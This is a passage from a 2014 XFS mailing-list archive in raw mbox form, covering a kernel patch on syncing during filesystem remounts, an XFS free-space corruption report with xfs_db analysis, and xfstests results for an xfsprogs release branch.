* Kat=C4=B1l=C4=B1m bedelleri KDV hari=C3=A7 tutarlard=C4=B1r. Grup= =C4=B0ndirim Oranlar=C4=B1: Ayn=C4=B1 Firmadan 3 =E2=80=93 6 Kat=C4=B1= l=C4=B1mda %5, Ayn=C4=B1 Firmadan 6 ve =C3=BCzeri kat=C4=B1l=C4=B1mda = %10 oran uygulanmaktad=C4=B1r.

* Zirve organizasyon heyeti m=C3=BCcbir sebepler gerektirdi=C4=9Fin= de program mekan=C4=B1n=C4=B1 veya program=C4=B1 de=C4=9Fi=C5=9Ftirme,= iptal etme veya erteleme hakk=C4=B1n=C4=B1 sakl=C4=B1 tutmaktad=C4=B1= r. =C4=B0ptal halinde =C3=B6denmi=C5=9F olan =C3=BCcretler iade edilir= -

--nvVQ4uhIQsoQFXK98UjkNcsLQrB=_gTMQz-- From tytso@thunk.org Thu Mar 13 20:24:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 65C9B7F54 for ; Thu, 13 Mar 2014 20:24:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 05299AC003 for ; Thu, 13 Mar 2014 18:24:01 -0700 (PDT) X-ASG-Debug-ID: 1394760235-04bdf05daa566440001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id VNjU4p9YS8FzX5G8 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Thu, 13 Mar 2014 18:23:56 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WOGq1-0002XQ-29; Fri, 14 Mar 2014 01:23:05 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id E2A26580286; Thu, 13 Mar 2014 21:23:00 -0400 (EDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1394760180; bh=SBskCUr/UZE4sbvq7XZkXxrcWoDNTPR6CWSpmKJX72Y=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=Ig9V9B9tUSSnX7ZH9OXeLHgKlVFzzizHa7GD+4hWzwb6vdSooc/mN2H4lCuzb96jb vMcql+AWNZ5Avy43ks8ApmUSfssMAh4f9gDFu1Ehc7VtdIsMENuXHNZn6iql4jOIgK YH3v50ZirAiAZJnyT/B019sJUdem7jHEgXLeQDOs= Date: Thu, 13 Mar 2014 21:23:00 -0400 From: Theodore Ts'o To: Steve French Cc: linux-fsdevel@thunk.org, Ext4 Developers List , linux-fsdevel , Christoph Hellwig , Artem Bityutskiy , Adrian Hunter , Evgeniy Dushistov , Jan Kara , OGAWA Hirofumi , Anders Larsen , Phillip Lougher , Kees Cook , Mikulas Patocka , Petr Vandrovec , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, "linux-cifs@vger.kernel.org" , samba-technical , codalist@TELEMANN.coda.cs.cmu.edu, linux-f2fs-devel@lists.sourceforge.net, fuse-devel@lists.sourceforge.net, cluster-devel@redhat.com, linux-mtd@lists.infradead.org, jfs-discussion@lists.sourceforge.net, "linux-nfs@vger.kernel.org" , linux-nilfs@vger.kernel.org, linux-ntfs-dev@lists.sourceforge.net, ocfs2-devel@oss.oracle.com, reiserfs-devel@vger.kernel.org Subject: Re: [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() Message-ID: <20140314012300.GA8282@thunk.org> X-ASG-Orig-Subj: Re: [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() References: <20140313073936.GA14663@infradead.org> <1394720456-16629-1-git-send-email-tytso@mit.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1394760236 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3858 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, Mar 13, 2014 at 07:33:02PM -0500, Steve French wrote: > On Thu, Mar 13, 2014 at 9:20 AM, Theodore Ts'o wrote: > > Previously, the no-op "mount -o mount /dev/xxx" operation when the > > file system is already mounted read-write causes an implied, > > unconditional syncfs(). This seems pretty stupid, and it's certainly > > documented or guaraunteed to do this, nor is it particularly useful, > > except in the case where the file system was mounted rw and is getting > > remounted read-only. > > Is there a case where a file system, not mounted read-only, > would want to skip the syncfs on remount? I don't know > of any particular reason to do a syncfs on remount unless > caching behavior is changing (or moving to read-only mount), > but if as you say it is documented and guaranteed... If the file system is mounted read-write, and it is transitioning to read-only, i.e. "mount -o remount,ro /" then you do want to write out all dirty data before you transition it to be read-only (otherwise you would lose data). It is my belief that this is the _only_ data integrity issue which is implied by remount (and this is more about not losing work done by previous system calls). The background reason for this commit is that a user complained on the ext4 list that he is using containers in a virtualization environment, and due to the init scripts which the user doesn't want to change, it is causing gazillions of no-op remounts, and this is causing ext4 (and xfs) to do send CACHE FLUSH commands because it is required by the syncfs(2) system call, which also calls sync_filesystem. These CACHE FLUSH commands are unneeded for anything, especially for these no-op remounts, and so I want them to go away for remounts, but they should still be there in response to syncfs(2) requests. Cheers, - Ted From jack@suse.cz Fri Mar 14 07:14:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 49B7F7F3F for ; Fri, 14 Mar 2014 07:14:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C0DABAC002 for ; Fri, 14 Mar 2014 05:13:58 -0700 (PDT) X-ASG-Debug-ID: 1394799234-04cbb054b8358f90001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id TQbBw4pL4YrTkJAF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 14 Mar 2014 05:13:55 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 7A42075018; Fri, 14 Mar 2014 12:13:54 +0000 (UTC) Received: by quack.suse.cz (Postfix, from userid 1000) id 495E880D18; Fri, 14 Mar 2014 13:13:52 +0100 (CET) Date: Fri, 14 Mar 2014 13:13:52 +0100 From: Jan Kara To: Theodore Ts'o Cc: Steven Whitehouse , Jan Kara , jfs-discussion@lists.sourceforge.net, Anders Larsen , cluster-devel@redhat.com, linux-mtd@lists.infradead.org, Mikulas Patocka , Petr Vandrovec , codalist@TELEMANN.coda.cs.cmu.edu, linux-cifs@vger.kernel.org, linux-fsdevel@thunk.org, Ext4 Developers List , Evgeniy Dushistov , Kees Cook , fuse-devel@lists.sourceforge.net, reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, linux-nilfs@vger.kernel.org, OGAWA Hirofumi , linux-nfs@vger.kernel.org, Artem Bityutskiy , linux-ntfs-dev@lists.sourceforge.net, samba-technical@lists.samba.org, Adrian Hunter , linux-f2fs-devel@lists.sourceforge.net, ocfs2-devel@oss.oracle.com, linux-fsdevel@vger.kernel.org, Phillip Lougher , linux-btrfs@vger.kernel.org Subject: Re: [Cluster-devel] [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() Message-ID: <20140314121352.GB18583@quack.suse.cz> X-ASG-Orig-Subj: Re: [Cluster-devel] [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() References: <20140313073936.GA14663@infradead.org> <1394720456-16629-1-git-send-email-tytso@mit.edu> <20140313162319.GA504@quack.suse.cz> <1394728103.2767.32.camel@menhir> <20140313231506.GB16785@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140313231506.GB16785@thunk.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1394799235 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3871 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu 13-03-14 19:15:06, Ted Tso wrote: > On Thu, Mar 13, 2014 at 04:28:23PM +0000, Steven Whitehouse wrote: > > > > I guess the same is true for other file systems which are mounted ro > > too. So maybe a check for MS_RDONLY before doing the sync in those > > cases? > > My original patch moved the sync_filesystem into the check for > MS_RDONLY in the core VFS code. The objection was raised that there > might be some file system out there that might depend on this > behaviour. I can't imagine why, but I suppose it's at least > theoretically possible. Well, syncfs() in RO->RW transition clearly isn't needed. In RW->RO transition basically everybody needs it. What is disputable is the case of RW->RW remounts and I could imagine someone relying on syncfs() there although 99% of filesystems don't need it. So I agree in principle with moving the responsibility for syncfs() to ->remount so that each filesystem can decide. > So the idea is that this particular patch is *guaranteed* not to make > any difference. That way there can be no question about the patch'es > correctness. > > I'm going to follow up with a patch for ext4 that does exactly that, > but the idea is to allow each file system maintainer to do that for > their own file system. > > I could do that as well for file systems that are "obviously" > read-only, but then I'll find out that there's some wierd case where > the file system can be used in a read-write fashion. (Example: UDF is > normally used for DVD's, but at least in theory it can be used > read/write --- I'm told that Windows supports read-write UDF file > systems on USB sticks, and at least in theory it could be used as a > inter-OS exchange format in situations where VFAT and exFAT might not > be appropriate for various reasons.) Yes, some people do use UDF for USB sticks - Linux supports it in read-write mode as well (although with somewhat limited set of features). But the filesystem's I've named are those which clearly either bail with error if RW mount is attempted or silently change it to RO mount. In these cases, I'd just patch away the unnecessary sync_fs(). Honza -- Jan Kara SUSE Labs, CR From Morgan.Mears@netapp.com Fri Mar 14 09:22:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 613AC7F3F for ; Fri, 14 Mar 2014 09:22:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3329A304048 for ; Fri, 14 Mar 2014 07:22:28 -0700 (PDT) X-ASG-Debug-ID: 1394806946-04bdf05daa58d120001-NocioJ Received: from mx11.netapp.com (mx11.netapp.com [216.240.18.76]) by cuda.sgi.com with ESMTP id KJm4vELPDMDp53Gu (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 14 Mar 2014 07:22:26 -0700 (PDT) X-Barracuda-Envelope-From: Morgan.Mears@netapp.com X-Barracuda-Apparent-Source-IP: 216.240.18.76 X-IronPort-AV: E=Sophos;i="4.97,655,1389772800"; d="scan'208";a="109296922" Received: from vmwexceht02-prd.hq.netapp.com ([10.106.76.240]) by mx11-out.netapp.com with ESMTP; 14 Mar 2014 07:22:25 -0700 Received: from SACEXCMBX06-PRD.hq.netapp.com ([169.254.9.198]) by vmwexceht02-prd.hq.netapp.com ([10.106.76.240]) with mapi id 14.03.0123.003; Fri, 14 Mar 2014 07:22:25 -0700 From: "Mears, Morgan" To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: RE: Possible XFS bug encountered in 3.14.0-rc3+ Thread-Topic: Possible XFS bug encountered in 3.14.0-rc3+ X-ASG-Orig-Subj: RE: Possible XFS bug encountered in 3.14.0-rc3+ Thread-Index: Ac8+Lnd5ZrOBn3zKSZ2tAyiTTgiU/gAU2BeAABJJfbAAH92BAAARjYHg Date: Fri, 14 Mar 2014 14:22:25 +0000 Message-ID: <33A0129EBFD46748804DE81B354CA1B21C0DFD10@SACEXCMBX06-PRD.hq.netapp.com> References: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> <20140312230241.GE6851@dastard> <33A0129EBFD46748804DE81B354CA1B21C0DDBAE@SACEXCMBX06-PRD.hq.netapp.com> <20140313225842.GA10057@dastard> In-Reply-To: <20140313225842.GA10057@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.106.53.53] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx11.netapp.com[216.240.18.76] X-Barracuda-Start-Time: 1394806946 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3876 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 BSF_SC5_SA210e Custom Rule SA210e On Thu, Mar 13, 2014 at 06:59:22PM -0400, Dave Chinner wrote: > On Thu, Mar 13, 2014 at 02:47:58PM +0000, Mears, Morgan wrote: >> On Wed, Mar 12, 2014 at 07:03:14PM -0400, Dave Chinner wrote: >> > On Wed, Mar 12, 2014 at 08:14:32PM +0000, Mears, Morgan wrote: >> >> Hi, >> >>=20 >> >> Please CC me on any responses; I don't subscribe to this list. >> >>=20 >> >> I ran into a possible XFS bug while doing some Oracle benchmarking. = My test >> >> system is running a 3.14.0-rc3+ kernel built from the for-next branch= of >> >> git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm.= git >> >> on 2014-02-19 (last commit 1342f11e713792e53e4b7aa21167fe9caca81c4a). >> >>=20 >> >> The XFS instance in question is 200 GB and should have all default >> >> parameters (mkfs.xfs /dev/mapper/). It contains Or= acle >> >> binaries and trace files. At the time the issue occurred I had been >> >> running Oracle with SQL*NET server tracing enabled. The affected XFS >> >> had filled up 100% with trace files several times; I was periodically >> >> executing rm -f * in the trace file directory, which would reduce the >> >> file system occupancy from 100% to 3%. I had an Oracle load generati= ng >> >> tool running, so new log files were being created with some frequency= . >> >>=20 >> >> The issue occurred during one of my rm -f * executions; afterwards th= e >> >> file system would only produce errors. Here is the traceback: >> >>=20 >> >> [1552067.297192] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line = 1602 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa04c4905 >> >=20 >> > So, freeing a range that is already partially free. The problem >> > appears to be in AG 15, according to the repair output. >> >=20 >> >> https://dl.dropboxusercontent.com/u/31522929/xfs-double-free-xfs_meta= dump-before-repair.gz >> >=20 >> > AGF 15 is full: >.... >> > on the unlinked list: >> >=20 >> > agi unlinked bucket 24 is 6477464 in ag 14 (inode=3D946001560) >> >=20 >> > So, prior to recovery, what did it contain? it's got 287 bytes of >> > date, and a single extent: >> >=20 >> > u.bmx[0] =3D [startoff,startblock,blockcount,extentflag] 0:[0,59154425= ,1,0] >> >=20 >> > xfs_db> convert fsb 59154425 agno >> > 0xe (14) >> > xfs_db> convert fsb 59154425 agbno >> > 0x69ff9 (434169) >> >=20 >> > Ok, so the corruption, whatever it was, happened a long time ago, >> > and it's only when removing the file that it was tripped over. >> > There's nothing more I can really get from this - the root cause of >> > the corruption is long gone. >> >=20 >> > Cheers, >> >=20 >> > Dave. >> > --=20 >> > Dave Chinner >> > david@fromorbit.com >>=20 >> Thanks Dave. >>=20 >> Upon restarting my testing I immediately hit this error again (or a very >> similar one in any case). I suspect that the corruption you've noted wa= s >> not properly repaired by xfs_repair. >=20 > What happens if you run xfs_repair twice in a row? Don't know; I didn't try. The filesystem seems to be clean now, after two xfs_repairs with an intervening recurrence of the issue during another rm -f *. It certainly seems possible that the first xfs_repair only partially fixed the corruption, and the second occurrence of the issue wasn't a real reproduction but fallout from an incomplete fix. Unfortunately I didn't think to snapshot the LUN before fixing it up, so I can't go back and try. If I can reproduce the issue I will run xfs_repair until it doesn't find anything to fix. >> I captured all the same data as before, as well as an xfs_metadump from >> after the xfs_repair. If you're interested, it's all in this tarball: >>=20 >> https://dl.dropboxusercontent.com/u/31522929/xfs-unlink-internal-error-2= 013-03-13-1.tar.gz >=20 > Ok, that's triggered the right side btree checks, not the left side > like the previous one. It's probably AG 14 again. >=20 > EFI: >=20 > EFI: cnt:1 total:1 a:0x19c77b0 len:48=20 > EFI: #regs:1 num_extents:2 id:0xffff880f8011c640 > (s: 0x3816a3b, l: 112) (s: 0x3817cb1, l: 1920)=20 >=20 > So, two extents being freed: >=20 > xfs_db> convert fsb 0x3816a3b agno > 0xe (14) > xfs_db> convert fsb 0x3816a3b agbno > 0x16a3b (92731) > xfs_db> convert fsb 0x3817cb1 agbno > 0x17cb1 (97457) >=20 > Surrounding free space regions: >=20 > 66:[92551,180] 67:[92856,2] -> used space range [92731,125] > ... > 172:[97415,42] 173:[97622,4] -> used space range [97457,65] >=20 > So the first extent is good. The second, however, aligns correctly > to the free space region to the left, but massively overruns the > used space region which is only 165 blocks long. So it's a similar > problem here - both the free space trees are internally consistent, > the inode BMBT is internally consistent, but the space that they > track is not consistent. >=20 > After repair: >=20 > 63:[92551,292] 64:[92856,2] -> correctly accounted > .... > 169:[97415,49] 170:[97468,56] 171:[97528,168] > -> used space [97464,2], [97524,4] >=20 > But that's a very different freespace map around the second extent > in the EFI. It's most definitely not a contiguous range of 1920 > blocks now that repair has made sure the inode has no extents and > the range is correctly accounted for, so that indicates that the > length in the EFI is suspect. Maybe it should only be 7 blocks? >=20 > Did you run the filesystem out of space again before this happened? > If you don't hit enospc, does removing files trigger this > corruption? I did not run the filesystem out of space again. I'd actually deactivated most of the Oracle tracing and started another benchmark run, then noticed that the filesystem was still about 40% full (presumably my last rm -f * only got that far before encountering the error), so I did another rm -f * in the trace file directory and hit the issue again. As time is available, I will see if I can reproduce the issue in the manner I produced it initially and report back if so. I believe xfs_repair is now running clean; latest output is here if you want to confirm: https://dl.dropboxusercontent.com/u/31522929/xfs_repair-latest-output-2014-= 03-13-2 Also I've upgraded to the latest xfs_repair built on main from git://oss.sgi.com/xfs/cmds/xfsprogs; git log shows commit ea4a8de1e1 which Ben recommended (though xfs_repair -V still shows version 3.2.0-alpha2). Regards, Morgan >=20 > Cheers, >=20 > Dave. > --=20 > Dave Chinner > david@fromorbit.com > From rjohnston@sgi.com Fri Mar 14 10:28:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 65E0F7F3F for ; Fri, 14 Mar 2014 10:28:29 -0500 (CDT) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay3.corp.sgi.com (Postfix) with ESMTP id 73A44AC002; Fri, 14 Mar 2014 08:28:25 -0700 (PDT) Received: from [128.162.233.55] (128.162.233.55) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Fri, 14 Mar 2014 10:28:24 -0500 Message-ID: <53232019.8060701@sgi.com> Date: Fri, 14 Mar 2014 10:28:25 -0500 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3aWN6?= , Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> <53050391.7020701@sgi.com> <20140219215025.GF4916@dastard> In-Reply-To: <20140219215025.GF4916@dastard> Content-Type: text/plain; charset="UTF-8"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [128.162.233.55] On 02/19/2014 03:50 PM, Dave Chinner wrote: ... > > Can you outline the testing you have done? Sorry it took so long to get back. I used Kernel version 3.14.0-rc4+ Compared the results against TOT xfsprogs and for-3.1.12 Most of the bugs were log and repair specific so I ran a bunch of tests to exercise those. I ran xfstests several times on ia64, x86_64 and i386 with the following command: ./check -g auto -x dmapi -x freeze -x tape generic/306 - output mismatch (see /usr/src/3.1.12/xfstests/results//generic/306.out.bad) --- tests/generic/306.out 2014-03-11 09:42:47.000000000 -0500 +++ /usr/src/3.1.12/xfstests/results//generic/306.out.bad 2014-03-11 11:34:01.000000000 -0500 @@ -2,11 +2,9 @@ == try to create new file touch: cannot touch 'SCRATCH_MNT/this_should_fail': Read-only file system == pwrite to null device -wrote 512/512 bytes at offset 0 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)xfs/001 [not run] mkfs.xfs doesn't have crc feature xfs/002 [not run] mkfs.xfs doesn't have crc feature xfs/005 [not run] mkfs.xfs doesn't have crc feature xfs/299 [not run] mkfs.xfs doesn't have crc feature xfs/304 [not run] mkfs.xfs doesn't have crc feature xfs/305 [not run] mkfs.xfs doesn't have crc feature +XFS_IOC_FSGEOMETRY: Inappropriate ioctl for device == pread from zero device ... (Run 'diff -u tests/generic/306.out /usr/src/3.1.12/xfstests/results//generic/306.out.bad' to see the entire diff) xfs/016 - output mismatch (see /usr/src/3.1.12/xfstests/resuxfs/lts//xfs/016.out.bad) --- tests/xfs/016.out 2014-03-11 09:42:47.000000000 -0500 +++ /usr/src/3.1.12/xfstests/results//xfs/016.out.bad 2014-03-11 11:34:15.000000000 -0500 @@ -11,25 +11,30 @@ *** mount *** fiddle *** unmount +XFS: Invalid block length (0x2000) given for buffer *** generate log traffic *** mount *** fiddle ... (Run 'diff -u tests/xfs/016.out /usr/src/3.1.12/xfstests/results//xfs/016.out.bad' to see the entire diff) xfs/122 - output mismatch (see /usr/src/3.1.12/xfstests/results//xfs/122.out.bad) --- tests/xfs/122.out 2014-03-11 09:42:47.000000000 -0500 +++ /usr/src/3.1.12/xfstests/results//xfs/122.out.bad 2014-03-11 11:34:17.000000000 -0500 @@ -49,39 +49,70 @@ sizeof( xfs_agfl_t ) = 4 sizeof( xfs_agi_t ) = 296 sizeof( xfs_alloc_rec_incore_t ) = 8 +sizeof( xfs_alloc_rec_incore_t ) = 8 +sizeof( xfs_alloc_rec_t ) = 8 sizeof( xfs_alloc_rec_t ) = 8 sizeof( xfs_attr_inactive_list_t ) = 8 ... (Run 'diff -u tests/xfs/122.out /usr/src/3.1.12/xfstests/results//xfs/122.out.bad' to see the entire diff) - output mismatch (see /usr/src/3.1.12/xfstests/results//xfs/178.out.bad) --- tests/xfs/178.out 2014-03-11 09:42:47.000000000 -0500 +++ /usr/src/3.1.12/xfstests/results//xfs/178.out.bad 2014-03-11 12:09:55.000000000 -0500 @@ -10,6 +10,9 @@ attempting to find secondary superblock... found candidate secondary superblock... +error reading superblock 1 -- seek to offset 1099511623680 failed +unable to verify superblock, continuing... +found candidate secondary superblock... verified secondary superblock... Ran: generic/001 generic/002 generic/003 generic/005 generic/006 generic/007 generic/010 generic/011 generic/013 generic/014 generic/015 generic/020 generic/053 generic/062 generic/069 generic/070 generic/074 generic/075 generic/076 generic/077 generic/079 generic/083 generic/088 generic/089 generic/091 generic/100 generic/105 generic/112 generic/113 generic/117 generic/120 generic/123 generic/124 generic/125 generic/126 generic/127 generic/128 generic/129 generic/130 generic/131 generic/132 generic/133 generic/135 generic/141 generic/169 generic/184 generic/192 generic/193 generic/198 generic/204 generic/207 generic/208 generic/209 generic/210 generic/211 generic/212 generic/213 generic/214 generic/215 generic/219 generic/221 generic/223 generic/224 generic/225 generic/226 generic/228 generic/230 generic/231 generic/232 generic/233 generic/234 generic/235 generic/236 generic/237 generic/239 generic/240 generic/245 generic/246 generic/247 generic/248 generic/249 generic/255 generic/256 generic/257 generic/258 generic/263 generic/269 generic/270 generic/273 generic/274 generic/275 generic/277 generic/285 generic/286 generic/294 generic/299 generic/300 generic/306 generic/307 generic/308 generic/309 generic/310 generic/312 generic/313 generic/314 generic/315 generic/316 generic/317 generic/318 generic/319 generic/320 shared/032 shared/051 shared/218 shared/243 shared/298 xfs/003 xfs/004 xfs/008 xfs/009 xfs/012 xfs/016 xfs/017 xfs/019 xfs/021 xfs/026 xfs/027 xfs/028 xfs/029 xfs/030 xfs/031 xfs/033 xfs/034 xfs/041 xfs/042 xfs/045 xfs/046 xfs/047 xfs/048 xfs/049 xfs/050 xfs/052 xfs/054 xfs/056 xfs/059 xfs/060 xfs/061 xfs/063 xfs/064 xfs/065 xfs/066 xfs/067 xfs/071 xfs/072 xfs/073 xfs/078 xfs/084 xfs/085 xfs/086 xfs/087 xfs/092 xfs/096 xfs/103 xfs/104 xfs/108 xfs/109 xfs/110 xfs/116 xfs/118 xfs/121 xfs/122 xfs/134 xfs/137 xfs/138 xfs/139 xfs/140 xfs/164 xfs/165 xfs/166 xfs/167 xfs/170 xfs/174 xfs/178 xfs/179 xfs/180 xfs/181 xfs/182 xfs/183 xfs/186 xfs/187 xfs/188 xfs/189 xfs/190 xfs/194 xfs/195 xfs/196 xfs/199 xfs/200 xfs/201 xfs/202 xfs/203 xfs/205 xfs/206 xfs/216 xfs/217 xfs/220 xfs/222 xfs/227 xfs/229 xfs/238 xfs/242 xfs/244 xfs/250 xfs/252 xfs/253 xfs/259 xfs/261 xfs/262 xfs/266 xfs/278 xfs/281 xfs/282 xfs/283 xfs/287 xfs/290 xfs/291 xfs/292 xfs/293 xfs/295 xfs/296 xfs/298 xfs/301 xfs/302 xfs/303 xfs/306 Not run: generic/093 generic/097 generic/099 generic/241 generic/260 generic/288 generic/311 generic/321 generic/322 shared/001 shared/002 shared/003 shared/004 shared/005 shared/272 shared/289 xfs/001 xfs/002 xfs/005 xfs/040 xfs/044 xfs/057 xfs/058 xfs/090 xfs/094 xfs/095 xfs/148 xfs/149 xfs/177 xfs/191 xfs/197 xfs/279 xfs/299 xfs/300 xfs/304 xfs/305 Failures: generic/306 xfs/016 xfs/122 xfs/178 Failed 4 of 235 tests There were some tests that did not run that were crc specific xfs/001 [not run] mkfs.xfs doesn't have crc feature xfs/002 [not run] mkfs.xfs doesn't have crc feature xfs/005 [not run] mkfs.xfs doesn't have crc feature xfs/299 [not run] mkfs.xfs doesn't have crc feature xfs/304 [not run] mkfs.xfs doesn't have crc feature xfs/305 [not run] mkfs.xfs doesn't have crc feature generic/306 There is on patch that could be cherry-picked to fix it. (I re-ran tests with it applied. commit fcd6fa7f6a29188a756ff8b071a152bc9d62baf4 Author: Eric Sandeen Date: Tue Oct 8 15:17:50 2013 +0000 xfsprogs: restrict platform_test_xfs_fd to regular files xfs/016 passes If I revert bb4074a31 xfstests: use minimum log size in xfs/016 http://oss.sgi.com/archives/xfs/2013-10/msg00559.html xfs/122 also fails on both and most people don't install INDENT so they would never see it. xfs/178 This test blows away the main sb, then does repair. It should have found sb1 but failed, it did find sb2. strange but not an error. I got the same error using TOT xfsprogs. Thanks --Rich From tinguely@eagdhcp-232-183.americas.sgi.com Fri Mar 14 11:37:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CADC97F3F 